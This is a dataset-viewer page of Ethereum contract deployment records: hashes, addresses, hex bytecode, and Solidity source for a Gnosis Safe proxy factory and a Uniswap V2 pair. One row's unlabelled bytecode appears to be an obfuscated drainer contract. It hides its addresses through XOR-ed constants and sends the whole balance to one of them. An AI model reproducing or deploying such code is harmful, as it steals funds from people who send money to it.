Search is not available for this dataset
chain_id
uint64 1
1
| block_number
uint64 19.5M
20M
| block_hash
stringlengths 64
64
| transaction_hash
stringlengths 64
64
| deployer_address
stringlengths 40
40
| factory_address
stringlengths 40
40
| contract_address
stringlengths 40
40
| creation_bytecode
stringlengths 0
98.3k
| runtime_bytecode
stringlengths 0
49.2k
| creation_sourcecode
stringlengths 0
976k
|
|---|---|---|---|---|---|---|---|---|---|
1 | 19,494,883 | 3a7903680b0c7c65dbeee7f07cf3a2f744934ecb4eaa9227ba5ed8b193315a51 | 41f68f55597503af9719df98be4e8cc6c787edb998166dd35f6162d32237f12f | 000099b4a4d3ceb370d3a8a6235d24e07a8c0000 | ee2a0343e825b2e5981851299787a679ce08216d | 687cc82440ebea65958898f2f70c656ccd8c2e4f | 6080604052348015600f57600080fd5b506040516101bb3803806101bb833981016040819052602c916059565b600080546001600160a01b039092166001600160a01b031992831617905560018054909116331790556087565b600060208284031215606a57600080fd5b81516001600160a01b0381168114608057600080fd5b9392505050565b610125806100966000396000f3fe6080604052348015600f57600080fd5b506004361060325760003560e01c80638da5cb5b14609f578063d4b839921460cd575b6001546001600160a01b03163314604857600080fd5b600080546040516001600160a01b03909116906066908390369060df565b600060405180830381855af49150503d8060008114609d576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60015460b1906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b60005460b1906001600160a01b031681565b818382376000910190815291905056fea2646970667358221220736ccf845e951824707af03941a53c8275c6b25991c8ea8d34f6c24f7bbc22e164736f6c6343000819003300000000000000000000000033c99c0323adc0b7bd4ddd2ac4d4de2c28722fb0 | 6080604052348015600f57600080fd5b506004361060325760003560e01c80638da5cb5b14609f578063d4b839921460cd575b6001546001600160a01b03163314604857600080fd5b600080546040516001600160a01b03909116906066908390369060df565b600060405180830381855af49150503d8060008114609d576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60015460b1906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b60005460b1906001600160a01b031681565b818382376000910190815291905056fea2646970667358221220736ccf845e951824707af03941a53c8275c6b25991c8ea8d34f6c24f7bbc22e164736f6c63430008190033 | |
1 | 19,494,883 | 3a7903680b0c7c65dbeee7f07cf3a2f744934ecb4eaa9227ba5ed8b193315a51 | 005d3117c7dd95ba1e394e193855304bc4cb20c8aedc2839ada79fdbec1e1d16 | 1d6f6675c3115040c64e779df3ea1fe2e8b8b24c | 1d6f6675c3115040c64e779df3ea1fe2e8b8b24c | 5d76286582352302cf7098605904b716d15a23e0 | 6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f6e75382374384e10a7b62f6203157aa9e99f78d5213223f5ac9a4d92c9ed5d716007557f6e75382374384e10a7b62f6266005ed5a21c0da4330e4df10986a5d4ea19b6756008557f6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122054cf1d9e0f96ad2045cf3101533092846779b3c26b46c5c807cc8f056d50f7c364736f6c63430008070033 | 6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122054cf1d9e0f96ad2045cf3101533092846779b3c26b46c5c807cc8f056d50f7c364736f6c63430008070033 | |
1 | 19,494,885 | 01a59126f715dc33ed0185ec8f665b2ba633c28659a368cba88309d999bb4d02 | 71d1a5ee8db973c904495b40d80665512938a0cbec7e3ddd93e0b0ce93b7f18b | bf9eef420cc12d69a0e1615902f05bf38db6e8a0 | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | 3346c7642917e0f7a20ecacd11d390776addc26f | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
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1 | 19,494,886 | eaaba645f081bd7d8ee736125b79dae76006a192f2dd1f42f2cc48805f8a8b85 | 8e33f13c2444026684fb6e352f9530cd5ac519c144cae034d804002efe2ea368 | b6fb540b461f975b945eee4ad87129915c8f8f97 | 5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f | ea097d7d0ba9d394655c923d0735bbfd43ca52db | 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| // File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
} |
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1 | 19,494,889 | 718a6fcc36a02f613ab4a11a667411cdc235bf9087fd3eaa6be6ab5d47aa113c | 2ab17baf0352ef464b56bbb5bf798331b0eeddba7676af00d91dce3ba682adc6 | acee0cd0f533a31be2768dc12db9fa4d0a07a012 | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | e57d61e3bdd5da4bd3ecb1e5612bf71adc7c3eea | 